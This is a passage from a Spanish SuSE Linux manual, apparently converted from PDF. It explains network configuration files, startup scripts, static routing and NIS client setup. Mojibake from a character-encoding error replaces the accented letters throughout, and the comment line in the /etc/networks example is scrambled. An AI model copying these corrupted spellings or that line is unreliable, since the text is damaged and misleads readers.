  10031.            etd subsection.18.2.2.   .
  10032.  
  10033.        o   Para usar la computadora como servidor NFS o NIS es preciso iniciar
  10034.            el Portmapper portmap  cuando el sistema arranca.  Una vez se ha de-
  10035.            cidido iniciar el Portmapper el programa le pregunta si quiere arrancar
  10036.            tambiΘn el servidor NFS.
  10037.  
  10038. 11.    La  opci≤n  `Configuraci≤n  DNS'  permite  la  configuraci≤n  de  uno  o
  10039.        varios  servidores  de  nombre.   Es  posible  indicar  hasta  tres  direcciones
  10040.        IP separadas por espacios.
  10041. 12.    Con la opci≤n `Configurar  sendmail' se puede efectuar una configu-
  10042.        raci≤n bßsica del paquete sendmail .  El apartado 6.8 en la pßgina 204Va-
  10043.        mos a escribir ~ Configuraci≤n de sendmailsection.6.8 contiene una de-
  10044.        scripci≤n explφcita de la configuraci≤n de sendmail.
  10045.  
  10046.  YaST le soporta tambiΘn en la modificaci≤n del fichero de configuraci≤n cen-
  10047.  tral  /etc/rc.config,  que  contiene  una  multitud  de  opciones  (ver  aparta-
  10048.  do 17.6 en la pßgina 437Las variables en /etc/rc.config              ~ Configuraci≤n
  10049.  de sistemasection.17.6).
  10050.  
  10051.  Aquφ se termina la configuraci≤n de la red y YaST  inicia SuSEconfig , que se
  10052.  encarga de introducir las indicaciones hechas en los correspondientes ficheros
  10053.  (ver apartado 5.2).  Para activar los ajustes y usar la nueva configuraci≤n hay
  10054.  que iniciar de nuevo los daemons usados.  Esto se consigue introduciendo el
  10055.  siguiente comando:
  10056.  
  10057.        tierra:~  #  rcnetwork  restart
  10058.  
  10059.  (ver tambiΘn capφtulo 17 en la pßgina 431El concepto de arranque de SuSE
  10060.  Linux chapter.17).
  10061.  
  10062.  
  10063.  5.2       Configuraci≤n manual de la red ~ ┐D≤nde tocar?
  10064.  
  10065.  La  configuraci≤n  manual  de  la  red  no  es  muy  aconsejable,  ya  que  es  mßs
  10066.  sencillo  servirse  de  YaST .  No  obstante  puede  haber  casos  que  exigen  un
  10067.  
  10068.  
  10069.                                                                                                                                    *
  10070.  *    157
  10071. 5.  Linux en la red________________________________________________________________________________________________________________*
  10072.  *_______________________________________@
  10073.  
  10074.  
  10075.  
  10076.                            retoque  manual,  porque  YaST  no  cubre  todo  el  campo  de  la  configuraci≤n
  10077.                            de redes.
  10078.  
  10079.  
  10080.                            5.2.1      Ficheros de configuraci≤n
  10081.  
  10082.                            En resumen, este apartado explica la funci≤n de los ficheros de configuraci≤n
  10083.                            de red y expone sus formatos.
  10084.  
  10085.                            /etc/rc.config
  10086.                                  Este  fichero  de  configuraci≤n  central  (ver  apartado  17.5  en  la  pßgi-
  10087.                                  na 435/etc/rc.config              y SuSEconfig section.17.5) contiene la mayorφa
  10088.                                  de las opciones de configuraci≤n de red.  La mayorφa de los ficheros que
  10089.                                  figuran a continuaci≤n se generan automßticamente cuando se modifica la
  10090.                                  configuraci≤n de red con YaST  o cuando se ejecuta SuSEconfig  despuΘs
  10091.                                  de una modificaci≤n manual de /etc/rc.config. TambiΘn se modifican
  10092.                                  con Θl los scripts de arranque.
  10093.                            ________________________________________________________________________________________________________*
  10094.  *________
  10095.                            |  Al modificar el fichero /etc/rc.config a mano, siempre se ha de ejecu-                               *
  10096.  *        ||||
  10097.                            |                                                                                                       *
  10098.  *        |||
  10099.                            |  tar posteriormente SuSEconfig  para que los cambios en la configuraci≤n                              *
  10100.  *        |||
  10101.                            |  se escriban automßticamente en los ficheros correctos.                                               *
  10102.  *        |||
  10103.                            |_______________________________________________________________________________________________________*
  10104.  *________|||_
  10105.  
  10106.                            /etc/hosts
  10107.                                  Este fichero (ver fichero 5.2.1) tiene una tabla de asignaci≤n entre nom-
  10108.                                  bres de computadoras y direcciones IP. En esta tabla deben aparecer todas
  10109.                                  las computadoras a las que se quiere establecer una conexi≤n IP cuando
  10110.                                  no  se  usa  un  servidor  de  nombres.  Cada  computadora  ocupa  una  lφnea
  10111.                                  en  la  tabla  que  contiene  el  n·mero  IP,  el  nombre  completo  de  la  com-
  10112.                                  putadora y el nombre (abreviado), p. ej.  tierra     . La lφnea debe comenzar
  10113.                                  con la direcci≤n IP y las demßs indicaciones se separan con espacios o
  10114.                                  tabuladores. Los comentarios comienzan con `#'.
  10115.                            ________________________________________________________________________________________________________*
  10116.  *________||
  10117.                            | #                                                                                                     *
  10118.  *         |
  10119.                            | #  hosts             This  file  describes  a  number  of  hostname-to-address                        *
  10120.  *         |
  10121.                            | #                      mappings  for  the  TCP/IP  subsystem.   It  is  mostly                        *
  10122.  *         |
  10123.                            | #                      used  at  boot  time,  when  no  name  servers  are  running.                  *
  10124.  *         |
  10125.                            |                                                                                                       *
  10126.  *         |
  10127.                            | #                      On  small  systems,  this  file  can  be  used  instead  of  a                 *
  10128.  *         |
  10129.                            | #                      "named"  name  server.   Just  add  the  names,  addresses                     *
  10130.  *         |
  10131.                            | #                      and  any  aliases  to  this  file...                                           *
  10132.  *         |
  10133.                            | #                                                                                                     *
  10134.  *         |
  10135.                            |                                                                                                       *
  10136.  *         |
  10137.                            | 127.0.0.1  localhost                                                                                  *
  10138.  *         |
  10139.                            | 192.168.0.1  sol.cosmos.univ  sol                                                                     *
  10140.  *         |
  10141.                            | 192.168.0.20  tierra.cosmos.univ  tierra                                                              *
  10142.  *         |
  10143.                            | #  End  of  hosts                                                                                     *
  10144.  *         |
  10145.                            |_______________________________________________________________________________________________________*
  10146.  *________ |
  10147.  
  10148.                                                                Fichero 5.2.1: /etc/hosts
  10149.  
  10150.  
  10151.                            /etc/networks
  10152.                                  En este fichero se convierten los nombres de redes en direcciones de red.
  10153.                                  El formato se parece al del fichero hosts solo que aquφ los nombres de
  10154.                                  las redes aparecen por delante de sus direcciones IP (ver fichero 5.2.2 en
  10155.                                  la pßgina siguiente).
  10156.  
  10157. 158
  10158.  _________________________________________________5.2.__Configuraci≤n_manual_de_la_red_~_┐D≤nde_tocar?_____________________________*
  10159.  *________________
  10160.  
  10161.  _______________________________________________________________________________________________________________________||
  10162.  |||||||| #                                                                                                              |
  10163.  |||||||||## networks     This mfileapdescribespiangnumbers offonetname-to-addressr  the  TCP/IP  subsystem.   It  is  mostly||
  10164.  |||||||| #                   used  at  boot  time,  when  no  name  servers  are  running.                              |
  10165.  ||||||||                                                                                                                |
  10166.  |||||||| #                                                                                                              |
  10167.  |||||||| loopback        127.0.0.0                                                                                      |
  10168.  |||||||| localnet        192.168.0.0                                                                                    |
  10169.  |||||||| #  End  of  networks.                                                                                          |
  10170.  ||||||||_______________________________________________________________________________________________________________ |
  10171.  
  10172.                            Fichero 5.2.2: /etc/networks
  10173.  
  10174.  
  10175.  _____________________________________________________________________________________________________________
  10176.  
  10177. order hosts, bind                   Determina  el  orden  de  llamada  a  los  servi-
  10178.                                     cios de resoluci≤n de nombres. Los parßmet-
  10179.                                     ros posibles son:
  10180.                                     hosts: B·squeda en el fichero /etc/hosts
  10181.                                     bind: Llamada a un servidor de nombres
  10182. multi on/off                        Determina  si  una  computadora  dada  de  al-
  10183.                                     ta en /etc/hosts puede tener varias direc-
  10184.                                     ciones IP.
  10185. nospoof on                          Estos  parßmetros  influyen  sobre  el  ''spoof-
  10186. alert on/off                        ing'' del servidor de nombres, pero no tienen
  10187.                                     ninguna influencia adicional sobre la config-
  10188.                                     uraci≤n de red.
  10189. trim <domainname>                   El nombre de dominio que se indica aquφ, se
  10190.                                     resta del nombre totalmente cualificado de la
  10191.                                     computadora que lo contiene (antes de asig-
  10192.                                     nar  la  direcci≤n  IP  al  nombre  de  computa-
  10193.                                     dora).   Se  trata  de  una  opci≤n  de  utilidad
  10194.                                     cuando el fichero /etc/hosts solo contiene
  10195.                                     nombres  de  computadoras  locales  (alias)  y,
  10196.                                     estos deben ser reconocidos tambiΘn cuando
  10197.                                     se a±ade el nombre del dominio.
  10198.  
  10199.  _____________________________________________________________________________________________________________
  10200.  
  10201.                    Tabla 5.2: Parßmetros de /etc/host.conf
  10202.  
  10203.  
  10204.  
  10205.                                                                                                                                 159
  10206. 5.  Linux en la red________________________________________________________________________________________________________________*
  10207.  *_______________________________________@
  10208.  
  10209.  
  10210.  
  10211.                            /etc/host.conf
  10212.                                  Este  fichero  controla  el  funcionamiento  de  la  biblioteca  de  resoluci≤n,
  10213.                                  que  convierte  nombres  de  computadoras  en  direcciones  IP.  Hay  varios
  10214.                                  parßmetros para ajustar y cada uno debe estar en una lφnea aparte.  Los
  10215.                                  parßmetros admitidos figuran en tabla 5.2 en la pßgina anterior;  los co-
  10216.                                  mentarios comienzan con el sφmbolo `#'.
  10217.  
  10218.                                  El fichero 5.2.3 muestra un ejemplo de /etc/host.conf.
  10219.  
  10220.                            ________________________________________________________________________________________________________*
  10221.  *________||
  10222.                            | #                                                                                                     *
  10223.  *         |
  10224.                            | #  /etc/host.conf                                                                                     *
  10225.  *         |
  10226.                            |                                                                                                       *
  10227.  *         |
  10228.                            | #                                                                                                     *
  10229.  *         |
  10230.                            | #  We  have  named  running                                                                           *
  10231.  *         |
  10232.                            |                                                                                                       *
  10233.  *         |
  10234.                            | order  hosts  bind                                                                                    *
  10235.  *         |
  10236.                            | #  Allow  multiple  addrs                                                                             *
  10237.  *         |
  10238.                            |                                                                                                       *
  10239.  *         |
  10240.                            | multi  on                                                                                             *
  10241.  *         |
  10242.                            | #  End  of  host.conf                                                                                 *
  10243.  *         |
  10244.                            |_______________________________________________________________________________________________________*
  10245.  *________ |
  10246.  
  10247.                                                            Fichero 5.2.3: /etc/host.conf
  10248.  
  10249.  
  10250.                            /etc/nsswitch.conf
  10251.                                  Con la version 2.0 de la librerφa GNU de C comenz≤ el uso del ''Name
  10252.                                  Service  Switch''  (NSS)  (ver  pßgina  del  manual  de  nsswitch.conf
  10253.                                  (man  5  nsswitch.conf                ) y mßs explφcito en The GNU C Library Ref-
  10254.                                  erence Manual, capφtulo "System Databases and Name Service Switch"
  10255.                                  1 ).
  10256.  
  10257.                                  El  fichero  /etc/nsswitch.conf  determina  en  cußl  orden  se  solicitan
  10258.                                  determinadas informaciones.  El fichero 5.2.4,  muestra un ejemplo para
  10259.                                  nsswitch.conf en el cual las lφneas de comentarios comienzan con `#'.
  10260.                                  Respecto  al  ''banco  de  datos''  hosts,  el  ejemplo  siguiente  indica  que
  10261.                                  se envφa una solicitud al servicio DNS (ver paquete named) despuΘs de
  10262.                                  consultar /etc/hosts (files     ).
  10263.                            |                                                                                                       *
  10264.  *         |
  10265.                            ________________________________________________________________________________________________________*
  10266.  *________||
  10267.                            | #                                                                                                     *
  10268.  *         |
  10269.                            |                                                                                                       *
  10270.  *         |
  10271.                            | #  /etc/nsswitch.conf                                                                                 *
  10272.  *         |
  10273.                            | #                                                                                                     *
  10274.  *         |
  10275.                            | passwd:         compat                                                                                *
  10276.  *         |
  10277.                            |                                                                                                       *
  10278.  *         |
  10279.                            | group:           compat                                                                               *
  10280.  *         |
  10281.                            |                                                                                                       *
  10282.  *         |
  10283.                            |                                                                                                       *
  10284.  *         |
  10285.                            | hosts:           files  dns                                                                           *
  10286.  *         |
  10287.                            | networks:     files  dns                                                                              *
  10288.  *         |
  10289.                            |                                                                                                       *
  10290.  *         |
  10291.                            |                                                                                                       *
  10292.  *         |
  10293.                            | services:     db  files                                                                               *
  10294.  *         |
  10295.                            |                                                                                                       *
  10296.  *         |
  10297.                            | protocols:    db  files                                                                               *
  10298.  *         |
  10299.                            |                                                                                                       *
  10300.  *         |
  10301.                            |                                                                                                       *
  10302.  *         |
  10303.                            | netgroup:     files                                                                                   *
  10304.  *         |
  10305.                            |                                                                                                       *
  10306.  *         |
  10307.                            |_______________________________________________________________________________________________________*
  10308.  *________ |
  10309.  
  10310.                                                        Fichero 5.2.4: /etc/nsswitch.conf
  10311.                            _____________________________________________1
  10312.                              paquete libcinfo, serie doc.
  10313.  
  10314.  
  10315. 160
  10316.    _________________________________________________5.2.__Configuraci≤n_manual_de_la_red_~_┐D≤nde_tocar?___________________________*
  10317.  *__________________
  10318.  
  10319.  
  10320.  
  10321.   Los ''bancos de datos'' accesibles vφa NSS se mencionan en la tabla 5.3.
  10322.   Para  el  futuro  se  espera  tambiΘn  la  disponibilidad  de  automount         ,
  10323.   bootparams         , netmasks        y publickey        .
  10324.  
  10325.    _____________________________________________________________________________________________________________
  10326.  
  10327.   aliases               Mail-+  Alias, usado por sendmail(8); ver pßgina del
  10328.                         manual de aliases       (man  5  aliases          ).
  10329.   ethers                Direcciones de ethernet.
  10330.   group                 Usado por getgrent(3) para grupos de usuarios; ver
  10331.                         pßgina del manual de group      (man  5  group        ).
  10332.   hosts                 Para  nombres  de  host  y  direcciones  IP,  los  usan  fun-
  10333.                         ciones como gethostbyname(3) o parecidas.
  10334.   netgroup              Lista de hosts y de usuarios vßlida en la red para ad-
  10335.                         ministrar los derechos de acceso; ver pßgina del man-
  10336.                         ual de netgroup        (man  5  netgroup           ).
  10337.   networks              Nombres y direcciones de redes, lo usa getnetent(3).
  10338.   passwd                Contrase±as  de  usuarios,  que  usa  getpwent(3);  ver
  10339.                         pßgina del manual de passwd       (man  5  passwd         ).
  10340.   protocols             Protocolos     de     red;      informaci≤n     usada     por
  10341.                         getprotoent(3);     ver    pßgina    del    manual    de
  10342.                         protocols         (man  5  protocols            ).
  10343.   rpc                   Nombres  y  direcciones  del  tipo  ''Remote  Procedure
  10344.                         Call'';  lo  usan  getrpcbyname(3)  y  otras  funciones
  10345.                         parecidas.
  10346.   services              Servicios de red; lo usa getservent(3).
  10347.   shadow                Las  contrase±as  ''Shadow''  de  los  usuarios,   usado
  10348.                         por  getspnam(3);  ver  pßgina  del  manual  de  shadow
  10349.                         (man  5  shadow         ).
  10350.  
  10351.    _____________________________________________________________________________________________________________
  10352.  
  10353. Tabla     5.3:        ''Bancos     de     datos''     accesibles     a     travΘs     de
  10354. /etc/nsswitch.conf
  10355.   Las opciones de configuraci≤n de los ''bancos de datos'' NSS se encuen-
  10356.   tran en tabla 5.4 en la pßgina siguiente.
  10357.  
  10358.    _____________________________________________________________________________________________________________
  10359.  
  10360.   files                         acceso  direkto  a  los  ficheros,  p. ej.   a  /etc/
  10361.                                 aliases.
  10362.   db                            acceso a travΘs de un banco de datos.
  10363.   nis                           NIS  , ver apartado 5.4 en la pßgina 166NIS, las
  10364.                                 pßginas amarillas del LANsection.5.4  .
  10365.   nisplus
  10366.   dns                           Parßmetro adicional, solo aplicable para hosts
  10367.                                 y networks       .
  10368.  
  10369.    _____________________________________________________________________________________________________________
  10370.  
  10371.                     Tabla 5.4: Contin·a en la pßgina siguiente ...
  10372.  
  10373.  
  10374.                                                                                                                                   1*
  10375.  *61
  10376. 5.  Linux en la red________________________________________________________________________________________________________________*
  10377.  *_______________________________________@
  10378.  
  10379.                                ____________________________________________________________________________________________________*
  10380.  *______
  10381.  
  10382.  
  10383.                                  compat                        Parßmetro  adicional  para  passwd      ,  shadow        y
  10384.                                                                group     .
  10385.                                  adicionalmente                es posible conseguir diferentes resultados en ca-
  10386.                                                                so de determinados eventos ''Lookup'';  hay de-
  10387.                                                                talles en pßgina del manual de nsswitch.conf
  10388.                                                                (man  5  nsswitch.conf                ).
  10389.  
  10390.                                ____________________________________________________________________________________________________*
  10391.  *______
  10392.  
  10393.                                   Tabla 5.4: Opciones de configuraci≤n de los ''bancos de datos'' NSS
  10394.                            /etc/nscd.conf
  10395.                                  Este  es  el  fichero  para  configurar  el  nscd  (ingl.  Name  Service  Cache
  10396.                                  Daemon);  ver  pßgina  del  manual  de  nscd     (man  8  nscd       )  y  pßgina  del
  10397.                                  manual de nscd.conf         (man  5  nscd.conf            ). La informaci≤n en cuesti≤n
  10398.                                  es la que se encuentra en passwd      , groups       y hosts     .  Hace falta reiniciar
  10399.                                  el daemon p. ej. cuando se cambia la resoluci≤n de nombres de dominio
  10400.                                  (DNS)  modificando  /etc/resolv.conf;  para  ello  se  usa  el  siguiente
  10401.                                  comando:
  10402.                                  tierra:  #  /sbin/init.d/nscd  restart
  10403.  
  10404.  
  10405.                            ________________________________________________________________________________________________________*
  10406.  *________
  10407.                            |                                                                                                       *
  10408.  *        |||
  10409.                            |  Cuando  estß  activada  la  caracterφstica  ''caching''  para  passwd     ,  normal-                 *
  10410.  *        |||
  10411.                            |  mente pasan unos 15 segundos hasta que un usuario creado de nuevo se                                 *
  10412.  *        |||
  10413.                            |                                                                                                       *
  10414.  *        |||
  10415.                            |  conozca en el sistema.  Reiniciando nscd  este tiempo de espera se puede                             *
  10416.  *        |||
  10417.                            |  reducir.                                                                                             *
  10418.  *        |||
  10419.                            |_______________________________________________________________________________________________________*
  10420.  *________|||_
  10421.  
  10422.                            /etc/resolv.conf
  10423.                                  Este fichero, tal como /etc/host.conf, tambiΘn juega su papel respecto
  10424.                                  a la resoluci≤n de nombres de computadoras con la biblioteca resolver.
  10425.  
  10426.                                  Aquφ se indica a cußl dominio pertenece la computadora (palabra clave
  10427.                                  search     ) y cußl es la direcci≤n del servidor de nombres   a acceder (pal-
  10428.                                  abra clave nameserver         ); se pueden indicar varios nombres de dominio.
  10429.                                  Resolver un nombre que no sea totalmente cualificado, significa obtener
  10430.                                  un nombre totalmente cualificado y vßlido al a±adir las indicaciones en
  10431.                                  search     .  Es  posible  indicar  varios  servidores  de  nombre  introduciendo
  10432.                                  varias lφneas que comienzan con nameserver         ; los comentarios se intro-
  10433.                                  ducen como siempre con `#'.
  10434.  
  10435.                                  Hay un ejemplo para /etc/resolv.conf en el fichero 5.2.5 en la pßgina
  10436.                                  siguiente.
  10437.  
  10438.                                  íYaST  apunta aquφ el servidor de nombres que se le indica!  (ver aparta-
  10439.                                  do 5.1 en la pßgina 156Configuraci≤n con YaST  section.5.1)
  10440.  
  10441.                            /etc/HOSTNAME
  10442.                                  Aquφ se encuentra el nombre de la computadora, es decir, solo el nombre
  10443.                                  del  host  sin  el  nombre  de  dominio.   Hay  distintos  scripts  que  leen  este
  10444.                                  fichero durante el arranque de la computadora.  íNo debe contener mßs
  10445.                                  que  una  sola  lφnea  con  el  nombre  de  la  computadora!   Este  fichero  se
  10446.  
  10447.  
  10448. 162
  10449.        _________________________________________________5.2.__Configuraci≤n_manual_de_la_red_~_┐D≤nde_tocar?_______________________*
  10450.  *______________________
  10451.  
  10452.        _______________________________________________________________________________________________________________________||
  10453.        |||||||| #  /etc/resolv.conf                                                                                            |
  10454.        ||||||||                                                                                                                |
  10455.        |||||||| #                                                                                                              |
  10456.        |||||||| #  Our  domain                                                                                                 |
  10457.        ||||||||                                                                                                                |
  10458.        |||||||| search  cosmos.univ                                                                                            |
  10459.        |||||||| #                                                                                                              |
  10460.        ||||||||                                                                                                                |
  10461.        |||||||| #  We  use  sol  (192.168.0.1)  as  nameserver                                                                 |
  10462.        |||||||| nameserver  192.168.0.1                                                                                        |
  10463.        |||||||| #  End  of  resolv.conf                                                                                        |
  10464.        ||||||||_______________________________________________________________________________________________________________ |
  10465.  
  10466.                                Fichero 5.2.5: /etc/resolv.conf
  10467.  
  10468.  
  10469.  
  10470.       genera tambiΘn automßticamente a travΘs de los parßmetros en /etc/rc.
  10471.       config.
  10472.  
  10473.  
  10474. 5.2.2      Scripts de arranque (Startup-Sripts)
  10475.  
  10476. Aparte  de  los  ficheros  de  configuraci≤n  mencionados,  existen  diferentes
  10477. scripts  (macros)  que  inician  los  programas  de  red  cuando  la  computadora
  10478. arranca. Estos scripts se inician cuando el sistema entra en uno de los niveles
  10479. de ejecuci≤n de multiusuario (ingl. Multiuser-Runlevel) (ver tabla 5.5 en la
  10480. pßgina siguiente).
  10481.  
  10482.        ______________________________________________________________________________________________________________________
  10483.  
  10484.    /sbin/init.d/network                         Este script se encarga de la configuraci≤n
  10485.                                                 del  hardware  y  software  de  la  red  du-
  10486.                                                 rante el arranque.  Se eval·an tambiΘn los
  10487.                                                 apuntes  hechos  por  YaST    (ver  aparta-
  10488.                                                 do 5.1 en la pßgina 156Configuraci≤n con
  10489.                                                 YaST   section.5.1)  en  /etc/rc.config
  10490.                                                 sobre las direcciones IP de computadoras
  10491.                                                 y redes tal como las de mßscara de red y
  10492.                                                 gateway.
  10493.    /sbin/init.d/route                           Sirve para definir las rutas estßticas en la
  10494.                                                 red. El apartado 5.3 en la pßgina 165Rout-
  10495.                                                 ing  en  SuSE      Linux  section.5.3  contiene
  10496.                                                 una descripci≤n detallada.
  10497.    /sbin/init.d/inetd                           Inicia  el  inetd ,  si  estuviese  previsto  en
  10498.                                                 /etc/rc.config.  Se necesita p. ej.  para
  10499.                                                 acceder desde la red a la computadora en
  10500.                                                 cuesti≤n.
  10501.    /sbin/init.d/rpc                             Inicia  el  ''portmapper'',  que  se  necesita
  10502.                                                 para  usar  servidores  RPC  como  p. ej.  un
  10503.                                                 servidor NFS.
  10504.    /sbin/init.d/                                Inicia el servidor NFS.
  10505.    nfsserver
  10506.    /sbin/init.d/sendmail                        Controla  el  proceso  de  sendmail  en  fun-
  10507.                                                 ci≤n de los ajustes /etc/rc.config.
  10508.  
  10509.        ______________________________________________________________________________________________________________________
  10510.  
  10511.                         Tabla 5.5: Contin·a en la pßgina siguiente ...
  10512.  
  10513.  
  10514.                                                                                                                                    *
  10515.  *   163
  10516. 5.  Linux en la red________________________________________________________________________________________________________________*
  10517.  *_______________________________________@
  10518.  
  10519.                             _______________________________________________________________________________________________________*
  10520.  *_________
  10521.  
  10522.  
  10523.                               /sbin/init.d/ypserv                          Inicia  el  servidor  NIS  en  funci≤n  de  los
  10524.                                                                            ajustes en el fichero /etc/rc.config.
  10525.                               /sbin/init.d/ypclient                        Inicia  el  cliente  NIS  en  funci≤n  de  los
  10526.                                                                            ajustes en /etc/rc.config.
  10527.  
  10528.                             _______________________________________________________________________________________________________*
  10529.  *_________
  10530.  
  10531.                                             Tabla 5.5: Scripts de arranque de las utilidades de red
  10532.  
  10533. 164
  10534.        ________________________________________________________________________________________5.3.__Routing_en_SuSE______Linux____*
  10535.  *______________________
  10536.  
  10537.  
  10538.  
  10539. 5.3       Routing en SuSE        Linux
  10540.  
  10541. Introducci≤n
  10542.  
  10543. En  SuSE     Linux  la  tabla  de  ''routing''  no  es  administrada  por  las  variables
  10544. en  el  fichero  de  configuraci≤n  central  /etc/rc.config,  sino  por  el  script
  10545. /sbin/init.d/route y el fichero de configuraci≤n /etc/route.conf.
  10546.  
  10547. DespuΘs  de  la  inicializaci≤n  de  la  red  mediante  los  scripts  de  arranque
  10548. /sbin/init.d/network,   /sbin/init.d/inetd,   /sbin/init.d/i4l_
  10549. hardware  y  eventualmente  algunos  adicionales,   /sbin/init.d/route
  10550. busca la tabla de routing en /etc/route.conf y la define para el sistema.
  10551.  
  10552. El fichero /etc/route.conf admite todas las rutas estßticas necesarias para
  10553. las distintas tareas en un sistema: ruta hacia una computadora, ruta hacia una
  10554. computadora a travΘs de un gateway y ruta hacia una red.
  10555.  
  10556. El  uso  del  routing  dinßmico  con  /usr/sbin/routed  es  otra  posibilidad.   Su
  10557. configuraci≤n  resulta  mßs  complicada;  se  puede  consultar  en  la  pßgina  de
  10558. manual (manpage) de routed      .
  10559.  
  10560.  
  10561.  
  10562. Configuraci≤n y uso
  10563.  
  10564. Las  reglas  para  escribir  el  fichero  de  configuraci≤n  /etc/route.conf  se
  10565. adaptan a la salida en pantalla del comando /sbin/route          . Usando el coman-
  10566. do /sbin/route           sin ning·n parßmetro adicional, aparece la tabla de routing
  10567. usada  actualmente  por  el  kernel.  El  fichero  /etc/route.conf  es  igual  al
  10568. que se obtiene mediante el comando /sbin/route           exceptuando las entradas
  10569. en las columnas Flags, Metric, Ref y Use.
  10570.  
  10571. A continuaci≤n se presentan las reglas de /etc/route.conf:
  10572.  
  10573.  
  10574.   o   Se ignoran lφneas vacφas y las que tengan `#' al comienzo de ella.  Una
  10575.       entrada  se  compone  de  un  mφnimo  de  dos  columnas  y  un  mßximo  de
  10576.       cuatro.
  10577.  
  10578.   o   El destino de una ruta se encuentra en la primera columna en forma de la
  10579.       direcci≤n IP de una red o una computadora.  Si hay acceso a un servidor
  10580.       de nombres, se puede usar tambiΘn el nombre totalmente cualificado de
  10581.       la red o de la computadora.
  10582.  
  10583.   o   La palabra clave default       estß reservada para el gateway por defecto. No
  10584.       se debe usar 0.0.0.0       como el destino de definiciones del routing.
  10585.  
  10586.   o   La  segunda  columna  contiene  ya  sea  un  blanco  de  relleno  (0.0.0.0       ),
  10587.       la  direcci≤n  IP  o  bien,  el  nombre  completo  de  una  computadora.   Esta
  10588.       computadora puede ser el gateway por defecto o un gateway a travΘs del
  10589.       cual se puede acceder a otra computadora o red.
  10590.  
  10591.   o   La tercera columna contiene la mßscara de red para redes o computadoras
  10592.       detrßs de un gateway.  Por ejemplo, para una computadora por detrßs de
  10593.       un gateway el valor de la mßscara es 255.255.255.255              .
  10594.  
  10595.   o   La ·ltima columna solo es importante para las redes locales de la com-
  10596.       putadora (Loopback, Ethernet, RDSI, PPP, Dummy-Device, . . . ); en ella
  10597.       se apunta el nombre del dispositivo.
  10598.  
  10599.  
  10600.                                                                                                                                    *
  10601.  *   165
  10602. 5.  Linux en la red________________________________________________________________________________________________________________*
  10603.  *_______________________________________@
  10604.  
  10605.  
  10606.  
  10607.                            En la Figura 5.3.1 hay un ejemplo simple de /etc/route.conf.  DespuΘs
  10608.                            de las modificaciones en pfad/etc/route.conf, se da de alta la nueva tabla de
  10609.                            routing con el comando:
  10610.  
  10611.                            |     tierra:~  #  rcroute  restart                                                                     *
  10612.  *         |
  10613.                            ________________________________________________________________________________________________________*
  10614.  *________||||
  10615.                            | #  Destination           Dummy/Gateway           Netmask                    Device                    *
  10616.  *         |
  10617.                            | #                                                                                                     *
  10618.  *         |
  10619.                            | #  192.168.0.1           0.0.0.0                    255.255.255.255        ippp0                      *
  10620.  *         |
  10621.                            | #  default                 192.168.0.1                                                                *
  10622.  *         |
  10623.                            | #                                                                                                     *
  10624.  *         |
  10625.                            |                                                                                                       *
  10626.  *         |
  10627.                            | #  Net  devices                                                                                       *
  10628.  *         |
  10629.                            | #                                                                                                     *
  10630.  *         |
  10631.                            | 127.0.0.0                 0.0.0.0                    255.255.255.0           lo                       *
  10632.  *         |
  10633.                            | 204.127.235.0           0.0.0.0                    255.255.255.0           eth0                       *
  10634.  *         |
  10635.                            |                                                                                                       *
  10636.  *         |
  10637.                            | #                                                                                                     *
  10638.  *         |
  10639.                            | #  Gateway                                                                                            *
  10640.  *         |
  10641.                            | #                                                                                                     *
  10642.  *         |
  10643.                            | default                    204.127.235.41                                                             *
  10644.  *         |
  10645.                            |                                                                                                       *
  10646.  *         |
  10647.                            | #                                                                                                     *
  10648.  *         |
  10649.                            | #  Host  behind  Gateway                                                                              *
  10650.  *         |
  10651.                            | #                                                                                                     *
  10652.  *         |
  10653.                            | 207.68.156.51           207.68.145.45           255.255.255.255                                       *
  10654.  *         |
  10655.                            |                                                                                                       *
  10656.  *         |
  10657.                            | #                                                                                                     *
  10658.  *         |
  10659.                            | #  Net  behind  a  Gateway                                                                            *
  10660.  *         |
  10661.                            | #                                                                                                     *
  10662.  *         |
  10663.                            | 192.168.0.0              207.68.156.51           255.255.0.0                                          *
  10664.  *         |
  10665.                            |_______________________________________________________________________________________________________*
  10666.  *________ |
  10667.  
  10668.                                            Fichero 5.3.1: Ejemplo sencillo de /etc/route.conf
  10669.                            5.4       NIS, las pßginas amarillas del LAN
  10670.  
  10671.  
  10672.                            5.4.1      ┐QuΘ es NIS?
  10673.  
  10674.                            Cuando en una red existen varios sistemas Unix que quieren acceder a recur-
  10675.                            sos comunes, hay que asegurar la armonφa de los identificativos de usuarios y
  10676.                            de grupos en todas las computadoras de la red. La red debe ser completamente
  10677.                            transparente para el usuario, da igual en la computadora que trabaje, siempre
  10678.                            debe encontrar el mismo entorno, lo que se consigue mediante los servicios
  10679.                            NIS  y  NFS;  el  ·ltimo  sirve  para  la  distribuci≤n  de  sistemas  de  ficheros  en
  10680.                            la  red  y  se  describe  en  el  apartado  5.5  en  la  pßgina  168NFS  ~  sistemas  de
  10681.                            ficheros distribuidossection.5.5.
  10682.  
  10683.                            NIS (ingl. Network Information Service)2  se puede entender como un servicio
  10684.                            de banco de datos que da acceso a los ficheros /etc/passwd, /etc/shadow
  10685.                            o  /etc/group  en  toda  la  red.   NIS  puede  prestar  tambiΘn  servicios  adi-
  10686.                            cionales, p. ej.  para /etc/hosts o /etc/services, pero estos no son objeto
  10687.                            de discusi≤n aquφ.
  10688.  
  10689.  
  10690.                            5.4.2      Configuraci≤n de un cliente NIS
  10691.  
  10692.                            El paquete ypclient, serie n, contiene todos los programas necesarios para
  10693.                            la_configuraci≤n_de_un_cliente_NIS._Esta_precisa_de los siguientes pasos:
  10694.                            2  Muchas veces se usa como sin≤nimo para NIS la letras `YP'; Θstas se derivan de las yellow
  10695.                            pages, o sea las pßginas amarillas en la red.
  10696.  
  10697.  
  10698. 166
  10699.      ______________________________________________________________________5.4.__NIS,_las_pßginas_amarillas_del_LAN________________*
  10700.  *____________________
  10701.  
  10702.  
  10703.  
  10704. o   Definici≤n del dominio NIS en el arranque del sistema.
  10705.     Para ello hace falta configurar la variable YP_DOMAINNAME            .  El programa
  10706.     /sbin/init.d/network  contempla  esta  variable  cuando  entra  en  un
  10707.     nivel  de  ejecuci≤n  que  usa  la  red  y  define  el  dominio  de  NIS  como  se
  10708.     ha indicado ya.
  10709.  
  10710.     No confunda el nombre de dominio NIS  con el del dominio DNS . íEstos
  10711.     pueden ser iguales pero no tienen nada que ver el uno con el otro!
  10712.  
  10713. o   Definici≤n del servidor NIS.
  10714.  
  10715.     El nombre del servidor NIS se define en /etc/rc.config con la vari-
  10716.     able  YP_SERVER        .   SuSEconfig  escribe  los  nombres  en  el  formato  cor-
  10717.     recto al fichero /etc/yp.conf (ver fichero 5.4.1), lo cual funciona au-
